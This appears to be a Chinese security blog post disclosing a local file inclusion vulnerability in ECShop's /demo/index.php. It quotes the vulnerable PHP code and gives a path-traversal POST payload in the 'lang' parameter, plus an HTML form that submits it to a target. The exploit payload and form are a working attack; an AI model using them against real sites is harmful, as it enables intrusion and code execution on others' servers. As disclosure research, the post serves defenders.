ECShop网店系统最新版本地包含漏洞
这个洞,其实我在2012年1月的时候看ecshop就分析出来过,当初由于感觉鸡肋就没怎么放出来。刚下了个官网最新版的,没想到还存在。
漏洞文件在:/demo/index.php
if (!empty($_POST['lang'])) //如果不为空 { $lang_charset = explode('_', $_POST['lang']); //_分割 $updater_lang = $lang_charset[0].'_'.$lang_charset[1]; $ec_charset = $lang_charset[2]; //我们要控制的。 } . . . /* 加载升级程序所使用的语言包 */ $updater_lang_package_path = ROOT_PATH . 'demo/languages/' . $updater_lang . '_' . $ec_charset .'.php'; //成功进行控制 if (file_exists($updater_lang_package_path)) { include_once($updater_lang_package_path); //存在就包含。 $smarty->assign('lang', $_LANG); } else { die('Can't find language package!'); }
为了方便测试,我在本地网站根目录下建立一个1.php
代码如下:
<?php Phpinfo(); ?>
然后利用如下:
POST提交lang=123_123_1/../../../1
成功包含 根目录下1.php
由于本机,搭建环境出了个问题,这个是借别人的图。。应该为post提交,这个漏洞鸡肋之处在于,魔术引号,后面貌似不能%00。
利用代码。保存为html。
<font face="宋体 "><code id="code2"> <html> <body> <form action="http://webshell.cc/demo/index.php" method="post" enctype="multipart/form-data"> <input type="text" name="lang" /> <input type="submit" name="submit" value="Submit" /> </form> </body> </html></code></font>
转载请注明来自WebShell'S Blog,本文地址:https://www.webshell.cc/4354.html